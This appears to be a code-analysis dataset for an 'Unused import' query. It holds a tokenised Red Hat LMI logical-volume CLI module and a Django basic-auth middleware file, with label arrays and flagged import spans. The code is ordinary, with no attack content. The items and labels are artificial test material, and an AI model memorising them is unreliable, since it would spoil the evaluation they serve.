[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "codi", "ng", "=", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Stor", "age", " ", "Manage", "ment", " ", "Provider", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2014", " ", "Red", " ", "Hat", ",", " ", "Inc", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "1", ".", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "2", ".", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyr", "ight", " ", "notice", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS", " ", "\"", "AS", " ", "IS", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", " ", "COPY", "RIG", "HT", " ", "OWNER", " ", "OR", " ", "CONTRIB", "UTO", "RS", " ", "BE_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",", " ", "EXE", "MPL", "ARY", ",", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "PROC", "URE", "MENT", " ", "OF_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CONTR", "ACT", ",", " ", "STRI", "CT", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ARI", "SIN", "G", " ", "IN", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "views", " ", "and", " ", "concl", "usion", "s", " ", "contain", "ed", " ", "in", " ", "the", " ", "software", " ", "and", " ", "documentation", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tho", "se", " ", "of", " ", "the", " ", "author", "s", " ", "and", " ", "shou", "ld", " ", "not", " ", "be", " ", "interprete", "d", " ", "as", " ", "represent", "ing", " ", "official", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "poli", "cies", ",", " ", "eit", "her", " ", "express", "ed", " ", "or", " ", "impli", "ed", ",", " ", "of", " ", "the", " ", "Free", "BS", "D", " ", "Project", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", "s", ":", " ", "Jan", " ", "Saf", "ran", "ek", " ", "<", "js", "afr", "ane", "@", "red", "hat", ".", "com", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Logi", "cal", " ", "Volume", " ", "manage", "ment", ".", "\\", "10", ";", "\\", "10", ";", "Us", "age", ":", "\\", "10", ";", " ", " ", " ", " ", "%", "(", "cmd", ")", "s", " ", "list", " ", "[", " ", "<", "vg", ">", " ", "...]", "\\", "10", ";", " ", " ", " ", " ", "%", "(", "cmd", ")", "s", " ", "create", " ", "<", "vg", ">", " ", "<", "name", ">", " ", "<", "size", ">", "\\", "10", ";", " ", " ", " ", " ", "%", "(", "cmd", ")", "s", " ", "delete", " ", "<", "lv", ">", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "%", "(", "cmd", ")", "s", " ", "show", " ", "[", " ", "<", "lv", ">", " ", "...]", "\\", "10", ";", "\\", "10", ";", "Command", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "list", " ", " ", " ", " ", "List", " ", "avail", "able", " ", "logical", " ", "volume", "s", " ", "on", " ", "give", "n", " ", "volume", " ", "group", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "no", " ", "volume", " ", "group", "s", " ", "are", " ", "provided", ",", " ", "all", " ", "logical", " ", "volume", "s", " ", "are", "\\", "10", ";", " ", " ", " ", " ", "liste", "d", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "create", " ", " ", "Creat", "e", " ", "a", " ", "logical", " ", "volume", " ", "on", " ", "give", "n", " ", "volume", " ", "group", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "delete", " ", " ", "Delete", " ", "give", "n", " ", "logical", " ", "volume", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "show", " ", " ", " ", " ", "Show", " ", "detailed", " ", "informati", "on", " ", "abo", "ut", " ", "give", "n", " ", "Logi", "cal", " ", "Volume", "s", ".", " ", "If", " ", "no", "\\", "10", ";", " ", " ", " ", " ", "Logi", "cal", " ", "Volume", "s", " ", "are", " ", "provided", ",", " ", "all", " ", "of", " ", "them", " ", "are", " ", "displaye", "d", ".", "\\", "10", ";", "\\", "10", ";", "Optio", "ns", ":", "\\", "10", ";", " ", " ", " ", " ", "vg", " ", " ", "Name", " ", "of", " ", "the", " ", "volume", " ", "group", ",", " ", "with", " ", "or", " ", "with", "out", " ", "`", "/", "dev", "/", "`", " ", "prefix", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "size", " ", " ", " ", " ", "Size", " ", "of", " ", "the", " ", "new", " ", "logical", " ", "volume", ",", " ", "by", " ", "default", " ", "in", " ", "bytes", ".", "\\", "10", ";", " ", " ", " ", " ", "'", "T", "',", " ", "'", "G", "',", " ", "'", "M", "'", " ", "or", " ", "'", "K", "'", " ", "suff", "ix", " ", "can", " ", "be", " ", "used", " ", "to", " ", "speci", "fy", " ", "other", "\\", "10", ";", " ", " ", " ", " ", "unit", "s", " ", "(", "Ti", "B", ",", " ", "Gi", "B", ",", " ", "Mi", "B", " ", "and", " ", "Ki", "B", ")", " ", "-", " ", "'", "1", "K", "'", " ", "speci", "fie", "s", " ", "1", " ", "Ki", "B", "\\", "10", ";", " ", " ", " ", " ", "(", "=", " ", "1024", " ", "bytes", ").", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "suff", "ix", " ", "is", " ", "case", " ", "inse", "nsitive", ",", " ", "i", ".", "e", ".", " ", "1", "g", " ", "=", " ", "1", "G", " ", "=", " ", "1073", "741", "824", "\\", "10", ";", " ", " ", " ", " ", "bytes", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "'", "E", "'", " ", "suff", "ix", " ", "can", " ", "be", " ", "used", " ", "to", " ", "speci", "fy", " ", "number", " ", "of", " ", "volume", " ", "group", "\\", "10", ";", " ", " ", " ", " ", "extent", "s", ",", " ", "'", "100", "e", "'", " ", "means", " ", "100", " ", "extent", "s", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lm", "i_", "._", "shell_", "._", "LM", "IU", "til_", "import_", "lm", "i", "\\u", "isinstance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lm", "i_", "._", "scripts_", "._", "common_", "import_", "command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lm", "i_", "._", "scripts_", "._", "common_", "import_", "get", "\\u", "logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lm", "i_", "._", "scripts_", "._", "common_", "._", "formatter_", "import_", "command_", "as_", "fcm", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lm", "i_", "._", "scripts_", "._", "storage_", "import_", "show_", ",_", "fs_", ",_", "lvm", "_", ",_", "mount_", ",_", "raid", "_", ",_", "partition_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "lm", "i_", "._", "scripts_", "._", "storage_", "._", "common_", "import_", "(_", "size", "2str_", ",_", "get", "\\u", "devices_", ",_", "get", "\\u", "children_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "get", "\\u", "parents_", ",_", "str2", "device_", ",_", "str2", "size_", ",_", "str2", "vg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "LOG_", "=_", "get", "\\u", "logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "LV", "List_", "(_", "command_", "._", "Lm", "i", "Liste", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "COLUMNS_", "=_", "(_", "\"", "Name", "\"_", ",_", "\"", "Size", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "LV", "List_", "(_", "command_", "._", "Lm", "i", "Liste", "r_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "transform", "\\u", "options_", "(_", "self_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Rename", " ", "'", "vg", "'", " ", "option", " ", "to", " ", "'", "vg", "s", "'", " ", "parameter", " ", "name", " ", "for", " ", "bett", "er", "\\", "10", ";", " ", " ", " ", " ", "reada", "bilit", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "[_", "'<", "vg", "s", ">'_", "]_", "=_", "options_", "._", "pop_", "(_", "'<", "vg", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LV", "List_", "(_", "command_", "._", "Lm", "i", "Liste", "r_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "execute_", "(_", "self_", ",_", "ns_", ",_", "vg", "s_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Implementation", " ", "of", " ", "'", "lv", " ", "list", "'", " ", "command", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "lv_", "in_", "lvm", "_", "._", "get", "\\u", "lv", "s_", "(_", "ns_", ",_", "vg", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "size_", "=_", "size", "2str_", "(_", "lv_", "._", "Number", "Of", "Blocks_", "*_", "lv_", "._", "Block", "Size_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "app_", "._", "config_", "._", "human", "\\u", "frie", "ndl", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "(_", "lv_", "._", "Name_", ",_", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "LV", "Create_", "(_", "command_", "._", "Lm", "i", "Check", "Result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "EXPECT", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "LV", "Create_", "(_", "command_", "._", "Lm", "i", "Check", "Result_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "execute_", "(_", "self_", ",_", "ns_", ",_", "vg_", ",_", "name_", ",_", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Implementation", " ", "of", " ", "'", "lv", " ", "create", "'", " ", "command", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vg_", "=_", "str2", "vg_", "(_", "ns_", ",_", "vg_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lvm", "_", "._", "create", "\\u", "lv_", "(_", "ns_", ",_", "vg_", ",_", "name_", ",_", "str2", "size_", "(_", "size_", ",_", "vg_", "._", "Extent", "Size_", ",_", "'", "E", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "LV", "Delete_", "(_", "command_", "._", "Lm", "i", "Check", "Result_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "EXPECT", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "LV", "Delete_", "(_", "command_", "._", "Lm", "i", "Check", "Result_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "transform", "\\u", "options_", "(_", "self_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Rename", " ", "'", "lv", "'", " ", "option", " ", "to", " ", "'", "lv", "s", "'", " ", "parameter", " ", "name", " ", "for", " ", "bett", "er", "\\", "10", ";", " ", " ", " ", " ", "reada", "bilit", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "[_", "'<", "lv", "s", ">'_", "]_", "=_", "options_", "._", "pop_", "(_", "'<", "lv", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LV", "Delete_", "(_", "command_", "._", "Lm", "i", "Check", "Result_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "execute_", "(_", "self_", ",_", "ns_", ",_", "lv", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Implementation", " ", "of", " ", "'", "lv", " ", "delete", "'", " ", "command", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "lv_", "in_", "lv", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lvm", "_", "._", "delete", "\\u", "lv_", "(_", "ns_", ",_", "lv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "LV", "Show_", "(_", "command_", "._", "Lm", "i", "Liste", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "COLUMNS_", "=_", "(_", "'", "Name", "'_", ",_", "'", "Value", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "LV", "Show_", "(_", "command_", "._", "Lm", "i", "Liste", "r_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "transform", "\\u", "options_", "(_", "self_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Rename", " ", "'", "lv", "'", " ", "option", " ", "to", " ", "'", "lv", "s", "'", " ", "parameter", " ", "name", " ", "for", " ", "bett", "er", "\\", "10", ";", " ", " ", " ", " ", "reada", "bilit", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "options_", "[_", "'<", "lv", "s", ">'_", "]_", "=_", "options_", "._", "pop_", "(_", "'<", "lv", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "LV", "Show_", "(_", "command_", "._", "Lm", "i", "Liste", "r_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "execute_", "(_", "self_", ",_", "ns_", ",_", "lv", "s_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Implementation", " ", "of", " ", "'", "lv", " ", "show", "'", " ", "command", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "lv", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lv", "s_", "=_", "lvm", "_", "._", "get", "\\u", "lv", "s_", "(_", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "lv_", "in_", "lv", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lv_", "=_", "str2", "device_", "(_", "ns_", ",_", "lv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "fcm", "d_", "._", "New", "Table", "Command_", "(_", "title_", "=_", "lv_", "._", "Dev", "ice", "ID_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "cmd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "show_", "._", "lv", "\\u", "show_", "(_", "ns_", ",_", "lv_", ",_", "self_", "._", "app_", "._", "config_", "._", "human", "\\u", "frie", "ndl", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "LV", "_", "(_", "command_", "._", "Lm", "i", "Command", "Multipl", "exe", "r_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "OWN", "\\u", "USAGE", "_", "=_", "\\u\\u", "doc\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "COMMANDS_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "list", "'_", ":_", "LV", "List_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "create", "'_", ":_", "LV", "Create_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "delete", "'_", ":_", "LV", "Delete_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "show", "'_", ":_", "LV", "Show_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ustream/openduty/openduty/middleware/basicauthmiddleware.py
[ { "content": "from django.contrib.auth import authenticate, login as auth_login, logout as auth_logout;\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.conf import settings\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class BasicAuthMiddleware(object):\n", "metadata": "root.BasicAuthMiddleware", "header": "['module', '___EOS___']", "index": 4 }, { "content": " def process_request(self,request):\n authentication = request.META.get('HTTP_AUTHORIZATION')\n if authentication:\n (authmeth, auth) = authentication.split(' ',1)\n if 'basic' == authmeth.lower():\n auth = auth.strip().decode('base64')\n username, password = auth.split(':',1)\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n auth_login(request, user)", "metadata": "root.BasicAuthMiddleware.process_request", "header": "['class', 'BasicAuthMiddleware', '(', 'object', ')', ':', '___EOS___']", "index": 6 } ]
[ { "span": "from django.contrib.auth import authenticate, login as auth_login, logout as auth_logout;", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 88 }, { "span": "from django.http import HttpResponse, HttpResponseRedirect", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 58 }, { "span": "from django.conf import settings", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "authenticate_", ",_", "login_", "as_", "auth", "\\u", "login_", ",_", "logout_", "as_", "auth", "\\u", "logout_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Response_", ",_", "Http", "Respons", "e", "Redirect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", 